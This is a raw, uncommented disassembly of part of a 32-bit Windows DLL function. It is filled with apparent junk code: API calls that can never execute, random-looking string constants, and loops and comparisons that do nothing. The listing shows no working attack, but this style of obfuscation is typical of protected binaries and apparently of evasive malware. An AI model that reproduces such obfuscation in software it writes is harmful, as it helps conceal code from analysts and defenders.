mov dword [ebp - 0xb94], edx
push dword [ebp - 0xb94]
push dword [ebp - 0xb98]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x10025177
jmp 0x10025155
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
movzx eax, byte [ebp - 0x143]
test eax, eax
je 0x100251e0
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov byte [ebp - 4], 8
cmp dword [ebp - 0x990], 0xe5
jge 0x10025200
mov edx, dword [ebp - 0xd3c]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x1002521c
mov dword [ebp - 4], 5
jmp 0x1002522c
mov dword [ebp - 0x198], 0
jmp 0x10025245
mov eax, dword [ebp - 0x198]
dec eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jl 0x100253ce
mov dword [ebp - 0x24c], 3
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2e4], 0x989226c3
mov dword [ebp - 0x24c], 0
jmp 0x10025286
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
jg 0x100253c9
push dword [ebp - 0xe4]
lea ecx, [ebp - 0xe4c]
call fcn.1000a7a3
cmp dword [ebp - 0x15c], 0
je 0x10025340
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2e4], 0
jne 0x10025300
cmp dword [ebp - 0x190], 0
jne 0x10025300
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0xf04], eax
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x104c], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xf0c], eax
cmp dword [ebp - 0x1a4], 0
jne 0x10025300
and dword [ebp - 0x550], 0
jmp 0x1002530a
mov dword [ebp - 0x550], 1
mov eax, dword [ebp - 0x15c]
cmp dword [ebp - 0x550], eax
jl 0x10025324
mov dword [ebp - 0x998], 1
jmp 0x1002532b
and dword [ebp - 0x998], 0
cmp dword [ebp - 0x998], 5
jne 0x10025340
mov dword [ebp - 0x558], 1
jmp 0x10025347
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x9a0], eax
mov dword [ebp - 0x1a4], 0
jmp 0x1002536c
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0
jg 0x100253c4
mov dword [ebp - 0xe84], 0x31c0a9c5
mov dword [ebp - 0xe80], 0x31c0a9c5
mov dword [ebp - 0xe7c], 0x31c0a9c5
mov dword [ebp - 0xe78], 0x31c0a9c5
cmp dword [ebp - 0x198], 0
je 0x100253a8
jmp 0x100253c4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e4]
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0xe84], eax
jmp 0x1002535f
jmp 0x10025279
jmp 0x10025238
jmp 0x10025101
jmp 0x100250a8
mov eax, dword [ebp - 0x9a0]
cmp eax, dword [ebp - 0x15c]
jg 0x100253f2
mov dword [ebp - 0x560], 1
jmp 0x100253f9
and dword [ebp - 0x560], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e4]
cmp dword [ebp - 0x560], eax
jne 0x1002541a
mov dword [ebp - 0x9a8], 1
jmp 0x10025421
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x9a8]
mov dword [ebp - 0xe4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe4c]
call fcn.1000a787
jmp 0x10024e77
mov byte [ebp - 0x150], 0
movzx eax, byte [ebp - 0x150]
test eax, eax
je 0x1002548f
push 0
push 0x1a6
push 0x3d5
push 0
push 0x672
push 0x12aa
push 0x21e1
push 0x2428
push 0xba0
push 0xdc3
push 0xe8a
push 0x222b
call dword [sym.imp.GDI32.dll_MaskBlt]
mov dword [ebp - 0x20], 2
and dword [ebp - 0x348], 0
jmp 0x100254a7
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1c
jae 0x100265e0
mov dword [ebp - 0x254], 0x5b57fd54
mov dword [ebp - 0x254], 0
jmp 0x100254d4
mov eax, dword [ebp - 0x254]
dec eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0xffffffea
je 0x10025685
mov dword [ebp - 0xd44], 0xc7c8a6b9
mov dword [ebp - 0xe74], 1
mov dword [ebp - 0xe70], 1
mov dword [ebp - 0xe6c], 1
mov dword [ebp - 0xe68], 1
mov eax, dword [ebp - 0xd44]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe74], eax
mov dword [ebp - 0x568], 0x30b2
mov dword [ebp - 0xd54], str.swwj_ylhjpxexb_nmpl_iiudrcwjd_qolfvp_rvnv_cmqvop
cmp dword [ebp - 0x568], 0x3453
jle 0x10025621
and dword [ebp - 0x2ec], 0
jmp 0x10025560
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x7449
jge 0x10025621
and dword [ebp - 0x204], 0
jmp 0x10025586
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x554b
jge 0x1002561c
and dword [ebp - 0x2f4], 0
jmp 0x100255ac
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x1070
jge 0x10025617
mov eax, dword [ebp - 0x2ec]
sub eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x2f4]
sar eax, cl
cdq
mov dword [ebp - 0xba4], eax
mov dword [ebp - 0xba0], edx
push dword [ebp - 0xba0]
push dword [ebp - 0xba4]
lea ecx, [ebp - 0x11a4]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xd4c], eax
mov ecx, dword [ebp - 0xd4c]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x11a4]
call fcn.1000a440
jmp 0x1002559f
jmp 0x10025579
jmp 0x10025553
mov byte [ebp - 0x145], 0
movzx eax, byte [ebp - 0x145]
test eax, eax
je 0x1002563b
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x568], 0x2f2c
jge 0x1002565a
push dword [ebp - 0xd54]
call fcn.10046acc
pop ecx
jmp 0x10025676
or dword [ebp - 4], 0xffffffff
jmp 0x10025680
jmp 0x100254c7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1e0]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x100260c8
mov dword [ebp - 0xdd0], 0x49fe387
mov dword [ebp - 0xdcc], 0x49fe387
mov dword [ebp - 0xdc8], 0x49fe387
mov dword [ebp - 0xdc4], 0x49fe387
mov dword [ebp - 0x78], 0xc2db2212
mov dword [ebp - 0x194], 0xfffffff9
mov dword [ebp - 0x78], 3
jmp 0x100256e9
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jl 0x10025901
mov dword [ebp - 0x44], 0
mov dword [ebp - 0xd9c], 0xb8d8131d
mov dword [ebp - 0x44], 3
jmp 0x10025714
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jl 0x100258fc
mov dword [ebp - 0x484], 0x350d8af
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp + eax*4 - 0xdd0]
mov dword [ebp - 0x9b0], eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x9b0]
mov dword [ebp + eax*4 - 0xdd0], ecx
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x9b0], eax
jle 0x1002575f
mov dword [ebp - 0x58c], 1
jmp 0x10025766
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x484]
sub eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x44]
jle 0x10025780
mov dword [ebp - 0x570], 1
jmp 0x10025787
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x484]
cmp eax, dword [ebp - 0x570]
jle 0x100257a1
mov dword [ebp - 0x9b8], 1
jmp 0x100257a8
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x9b8]
jne 0x100257bf
mov dword [ebp - 0x578], 1
jmp 0x100257c6
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x484]
cmp dword [ebp - 0x578], eax
jne 0x100257e0
mov dword [ebp - 0x9c0], 1
jmp 0x100257e7
and dword [ebp - 0x9c0], 0
cmp dword [ebp - 0x9c0], 0xc6548aab
ja 0x100257ff
mov dword [ebp - 0x580], 1
jmp 0x10025806
and dword [ebp - 0x580], 0
xor eax, eax
jne 0x1002581c
mov eax, 0xfffd
test eax, eax
jne 0x1002581c
and dword [ebp - 0x9c8], 0
jmp 0x10025826
mov dword [ebp - 0x9c8], 1
mov eax, dword [ebp - 0x9c8]
sub eax, 0x28ccd30c
jne 0x10025842
cmp dword [ebp - 0x44], 0
jne 0x10025842
and dword [ebp - 0x9d0], 0
jmp 0x1002584c
mov dword [ebp - 0x9d0], 1
cmp dword [ebp - 0x9d0], 0x9495
jne 0x10025864
mov dword [ebp - 0x814], 1
jmp 0x1002586b
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x58c]
cmp eax, dword [ebp - 0x814]
je 0x10025885
mov dword [ebp - 0x594], 1
jmp 0x1002588c
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x594], eax
jge 0x100258a3
mov dword [ebp - 0xd5c], 1
jmp 0x100258aa
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xfec], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xf14], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0xd9c], eax
mov byte [ebp - 0x15e], 0
movzx eax, byte [ebp - 0x15e]
test eax, eax
je 0x100258f7
push 1
push 0
push 0xd72
push 0xbe8
call dword [sym.imp.USER32.dll_GetDlgItemInt]
jmp 0x1002570d
jmp 0x100256e2
mov dword [ebp - 0x194], 0xfffffffd
jmp 0x1002591a
mov eax, dword [ebp - 0x194]
dec eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0xfffffffa
jl 0x10025943
mov byte [ebp - 0x147], 0
movzx eax, byte [ebp - 0x147]
test eax, eax
je 0x10025941
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
jmp 0x1002590d
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1e0]
inc eax
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x17c], 0xfffffff7
mov dword [ebp - 0x95c], 0x9532955f
mov dword [ebp - 0x1024], 2
mov dword [ebp - 0x9c], 0
jmp 0x10025993
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x100259af
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xad8], 0xfffffffe
jmp 0x10025986
mov dword [ebp - 0x9c], 0
jmp 0x100259c8
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x100259e4
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xd84], 0xaea381e1
jmp 0x100259bb
mov dword [ebp - 0x2c], 0
jmp 0x100259f4
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jg 0x10025a53
mov dword [ebp - 0x330], 0x71d976ff
mov dword [ebp - 0x330], 0
jmp 0x10025a1d
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 2
jg 0x10025a51
mov byte [ebp - 0x152], 0
movzx eax, byte [ebp - 0x152]
test eax, eax
je 0x10025a4f
push 1
push 0x163b
push 0x1f6b
push 0x20ed
call dword [sym.imp.USER32.dll_SetScrollPos]
jmp 0x10025a10
jmp 0x100259ed
mov dword [ebp - 0x2c], 0xfffffffd
jmp 0x10025a63
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xe
jle 0x10025cef
mov dword [ebp - 0x34], 0x79c4185a
mov dword [ebp - 0xe94], 0xba5e0b2f
mov dword [ebp - 0xe90], 0xba5e0b2f
mov dword [ebp - 0xe8c], 0xba5e0b2f
mov dword [ebp - 0xe88], 0xba5e0b2f
mov dword [ebp - 0x34], 2
jmp 0x10025aac
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x10025bd8
mov dword [ebp - 0xf1c], 0
mov dword [ebp - 0xff4], 0xffffffff
mov dword [ebp - 0xf24], 0xffffffff
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0xad8], 0
je 0x10025b00
mov eax, 0x5c29
sub eax, dword [ebp - 0x2c]
imul eax, eax, 9
imul eax, dword [ebp - 0x34]
test eax, eax
je 0x10025b00
mov dword [ebp - 0xa00], 1
jmp 0x10025b07
and dword [ebp - 0xa00], 0
cmp dword [ebp - 0xa00], 1
jb 0x10025b1c
mov dword [ebp - 0xd98], 1
jmp 0x10025b23
and dword [ebp - 0xd98], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0xad8], 1
jg 0x10025b3c
mov dword [ebp - 0x59c], 1
jmp 0x10025b43
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xad8]
cmp eax, dword [ebp - 0x59c]
jle 0x10025b61
mov dword [ebp - 0x81c], 1
jmp 0x10025b68
and dword [ebp - 0x81c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad8]
cmp dword [ebp - 0x81c], eax
jg 0x10025b88
mov dword [ebp - 0x5a4], 1
jmp 0x10025b8f
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xad8]
cmp dword [ebp - 0x5a4], eax
jge 0x10025bad
mov dword [ebp - 0xd94], 1
jmp 0x10025bb4
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x105c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x95c]
inc eax
mov dword [ebp - 0x95c], eax
jmp 0x10025aa5
cmp dword [ebp - 0x34], 0
jne 0x10025c1c
cmp dword [ebp - 0x2c], 0
jne 0x10025bf6
mov eax, 0x69097d9
test eax, eax
jne 0x10025bf6
and dword [ebp - 0x5ac], 0
jmp 0x10025c00
mov dword [ebp - 0x5ac], 1
mov eax, dword [ebp - 0x5ac]
neg eax
add eax, dword [ebp - 0x17c]
je 0x10025c1c
mov dword [ebp - 0x824], 1
jmp 0x10025c23
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jne 0x10025c4a
cmp dword [ebp - 0x2c], 0
jne 0x10025c4a
mov dword [ebp - 0x5b4], 1
jmp 0x10025c51
and dword [ebp - 0x5b4], 0
cmp dword [ebp - 0x5b4], 0xffffffff
jl 0x10025c66
mov dword [ebp - 0xa84], 1
jmp 0x10025c6d
and dword [ebp - 0xa84], 0
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0xa84]
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0xe94], eax
jl 0x10025c91
mov dword [ebp - 0x5bc], 1
jmp 0x10025c98
and dword [ebp - 0x5bc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xad8]
sub eax, dword [ebp - 0x5bc]
je 0x10025cb4
cmp dword [ebp - 0x17c], 0
cmp dword [ebp - 0x17c], 0
jne 0x10025ccd
push 6
pop eax
test eax, eax
jne 0x10025ccd
and dword [ebp - 0x82c], 0
jmp 0x10025cd7
mov dword [ebp - 0x82c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x82c]
mov dword [ebp + eax - 0xd84], ecx
jmp 0x10025a5c
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1e0]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x5c4], 0x34eb
mov dword [ebp - 0xb54], str.ahmnyrv_zgkhzndj_grmsnct_zvn_ssqg_redtt_msxcwwcou_foj_ulzeugef
cmp dword [ebp - 0x5c4], 0x35f6
jle 0x10025e31
and dword [ebp - 0x270], 0
jmp 0x10025d3e
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x6ac4
jge 0x10025e31
and dword [ebp - 0x338], 0
jmp 0x10025d64
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x7ecb
jge 0x10025e2c
and dword [ebp - 0x268], 0
jmp 0x10025d8a
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x3784
jge 0x10025e27
and dword [ebp - 0x398], 0
jmp 0x10025db0
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x699b
jge 0x10025e22
mov eax, dword [ebp - 0x268]
and eax, dword [ebp - 0x398]
mov ecx, dword [ebp - 0x270]
imul ecx, dword [ebp - 0x338]
xor eax, ecx
cdq
mov dword [ebp - 0xbb0], eax
mov dword [ebp - 0xbac], edx
push dword [ebp - 0xbac]
push dword [ebp - 0xbb0]
lea ecx, [ebp - 0x11d4]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xd58], eax
mov ecx, dword [ebp - 0xd58]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x11d4]
call fcn.1000a440
jmp 0x10025da3
jmp 0x10025d7d
jmp 0x10025d57
jmp 0x10025d31
mov dword [ebp - 0xec], 0xffffffff
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x5c4], 0x31f4
jge 0x10025e5a
push dword [ebp - 0xb54]
call fcn.10046acc
pop ecx
jmp 0x10025e76
or dword [ebp - 4], 0xffffffff
jmp 0x10025e80
mov dword [ebp - 0x4d0], 0xfffffffa
mov dword [ebp - 0x4cc], 0xfffffffa
mov dword [ebp - 0x4c8], 0xfffffffa
mov dword [ebp - 0x4c4], 0xfffffffa
mov dword [ebp - 0x5dc], 0x3e5ec352
mov dword [ebp - 0xca8], 0
mov byte [ebp - 0x13f], 0
movzx eax, byte [ebp - 0x13f]
test eax, eax
je 0x10025eda
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CopySid]
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xf2c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4d0], 0
je 0x10025f89
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x4d0]
mov dword [ebp - 0xffc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4d0]
cmp eax, dword [ebp - 0xec]
jl 0x10025f2d
mov dword [ebp - 0x964], 1
jmp 0x10025f34
and dword [ebp - 0x964], 0
cmp dword [ebp - 0x964], 0x2f7c
je 0x10025f4c
mov dword [ebp - 0x5cc], 1
jmp 0x10025f53
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x5cc], eax
je 0x10025f6d
mov dword [ebp - 0x834], 1
jmp 0x10025f74
and dword [ebp - 0x834], 0
cmp dword [ebp - 0x834], 0
je 0x10025f89
mov dword [ebp - 0x5d4], 1
jmp 0x10025f90
and dword [ebp - 0x5d4], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x4d0]
imul ecx, dword [ebp - 0x5d4]
cmp ecx, dword [ebp + eax - 0x4d0]
jle 0x10025fbf
mov dword [ebp - 0xb18], 1
jmp 0x10025fc6
and dword [ebp - 0xb18], 0
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xf34], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xf94], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x4d0], 0xffffffff
jne 0x10025ffa
mov dword [ebp - 0xa08], 1
jmp 0x10026001
and dword [ebp - 0xa08], 0
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0x5dc], eax
mov eax, dword [ebp - 0x5dc]
cmp eax, dword [ebp - 0xec]
jg 0x10026027
mov dword [ebp - 0x83c], 1
jmp 0x1002602e
and dword [ebp - 0x83c], 0
cmp dword [ebp - 0x83c], 0
jbe 0x10026043
mov dword [ebp - 0x5e4], 1
jmp 0x1002604a
and dword [ebp - 0x5e4], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x4d0]
imul ecx, dword [ebp - 0x5e4]
add ecx, dword [ebp + eax - 0x4d0]
cmp ecx, dword [ebp - 0xec]
jne 0x1002607d
mov dword [ebp - 0x96c], 1
jmp 0x10026084
and dword [ebp - 0x96c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x4d0]
mov ecx, dword [ebp - 0x96c]
lea eax, [ecx + eax + 0x5a136951]
cmp eax, 0x3fda37b1
je 0x100260b0
mov dword [ebp - 0x5ec], 1
jmp 0x100260b7
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0xca8], eax
jmp 0x1002549f
mov dword [ebp - 0x18c], 0x9519
mov dword [ebp - 0x280], 0xffffffff
mov dword [ebp - 0xbc], 0x3b2c57e7
mov dword [ebp - 0xb28], 0x18144871
mov dword [ebp - 0x278], 0
jmp 0x10026109
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 2
jge 0x10026125
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0x9e8], 0x2b441a62
jmp 0x100260fc
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x280], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x844], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x844]
mov dword [ebp + eax - 0x9e8], ecx
cmp dword [ebp - 0x844], 0
je 0x100261a1
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xf3c], eax
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x9e8], 0x6840eb44
mov dword [ebp - 0xbc], 0x6840eb44
cmp dword [ebp - 0xbc], 0
je 0x100261a1
mov dword [ebp - 0x5f4], 1
jmp 0x100261a8
and dword [ebp - 0x5f4], 0
cmp dword [ebp - 0x5f4], 0x56c37fc0
jg 0x100261c0
mov dword [ebp - 0xa58], 1
jmp 0x100261c7
and dword [ebp - 0xa58], 0
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0xa58], eax
jge 0x100261e1
mov dword [ebp - 0x5fc], 1
jmp 0x100261e8
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x18c]
add eax, dword [ebp - 0x5fc]
je 0x10026202
mov dword [ebp - 0x84c], 1
jmp 0x10026209
and dword [ebp - 0x84c], 0
cmp dword [ebp - 0x84c], 0xfffffff6
jle 0x1002621e
mov dword [ebp - 0x604], 1
jmp 0x10026225
and dword [ebp - 0x604], 0
cmp dword [ebp - 0x604], 0xffffffff
jl 0x1002623a
mov dword [ebp - 0x974], 1
jmp 0x10026241
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0x974], eax
jge 0x1002625b
mov dword [ebp - 0x60c], 1
jmp 0x10026262
and dword [ebp - 0x60c], 0
cmp dword [ebp - 0x60c], 0x193208af
jne 0x1002627a
mov dword [ebp - 0x854], 1
jmp 0x10026281
and dword [ebp - 0x854], 0
cmp dword [ebp - 0x854], 0
jl 0x10026296
mov dword [ebp - 0x614], 1
jmp 0x1002629d
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x614]
sub eax, 0x68906353
cmp eax, 0xfffc
jae 0x10026377
mov dword [ebp - 0x3f0], 0xfffffffb
cmp dword [ebp - 0x3f0], 0
jne 0x100262e0
mov eax, dword [ebp - 0x3f0]
sub eax, 7
cmp eax, dword [ebp - 0x18c]
jne 0x100262e0
and dword [ebp - 0xa10], 0
jmp 0x100262ea
mov dword [ebp - 0xa10], 1
mov eax, dword [ebp - 0x280]
cmp dword [ebp - 0xa10], eax
jg 0x10026304
mov dword [ebp - 0xb20], 1
jmp 0x1002630b
and dword [ebp - 0xb20], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9e8]
mov dword [ebp - 0xd20], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd20]
mov dword [ebp + eax - 0x9e8], ecx
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0xf9c], eax
cmp dword [ebp - 0x3f0], 0x5e60d1f
je 0x10026355
mov dword [ebp - 0x61c], 1
jmp 0x1002635c
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0xb28]
mov ecx, dword [ebp - 0x61c]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x280], eax
jmp 0x100263ff
mov dword [ebp - 0xcb0], 0x11e745c5
mov dword [ebp - 0xbc], 0
jmp 0x1002639a
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0xffffffe8
jne 0x100263ff
mov dword [ebp - 0xb30], 0xdbc8b697
cmp dword [ebp - 0xcb0], 0
jne 0x100263c2
mov dword [ebp - 0x85c], 1
jmp 0x100263c9
and dword [ebp - 0x85c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9e8]
cmp eax, dword [ebp - 0x85c]
jg 0x100263ea
mov dword [ebp - 0x624], 1
jmp 0x100263f1
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0xb30], eax
jmp 0x1002638d
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x348]
movzx eax, byte [ebp + eax - 0x1e2]
movzx eax, word [ebp + eax*2 - 0xeb0]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x1df]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x348]
movzx eax, byte [ebp + eax - 0x1e2]
movzx eax, word [ebp + eax*2 - 0xeb0]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x1df]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1e0]
mov word [ebp + eax*2 - 0xeb0], dx
mov dword [ebp - 0x340], 0
jmp 0x10026479
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 2
jge 0x10026495
mov eax, dword [ebp - 0x340]
mov dword [ebp + eax*4 - 0xacc], 0xa48bbca6
jmp 0x1002646c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xacc], 0xfffffff3
jmp 0x100264c3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xacc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xacc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xacc], 0xb
jge 0x100265ba
mov dword [ebp - 0x288], 7
mov dword [ebp - 0xf44], 0x418a5273
mov dword [ebp - 0x288], 0
jmp 0x10026504
mov eax, dword [ebp - 0x288]
dec eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0xffffffed
je 0x100265b5
mov dword [ebp - 0x3a0], 0xae77ab39
mov dword [ebp - 0x3a0], 0
jmp 0x10026534
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x17
jg 0x100265b0
mov dword [ebp - 0x290], 0xdfe4d9ed
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x10026570
push 0
push 0x93b
push 0x15fb
push 0xaf8
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
mov dword [ebp - 0x290], 0
jmp 0x10026589
mov eax, dword [ebp - 0x290]
dec eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0xffffffe7
jge 0x100265ab
mov dword [ebp - 0x97c], 0x3414b58e
mov eax, dword [ebp - 0x97c]
inc eax
mov dword [ebp - 0x97c], eax
jmp 0x1002657c
jmp 0x10026527
jmp 0x100264f7
jmp 0x100264a8
mov byte [ebp - 0x13e], 0
movzx eax, byte [ebp - 0x13e]
test eax, eax
je 0x100265d4
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
and dword [ebp - 0x348], 0
jmp 0x1002549f
mov dword [ebp - 0xdfc], 0xb4ffb871
mov dword [ebp - 0xdf8], 0xb4ffb871
mov dword [ebp - 0xdf4], 0xb4ffb871
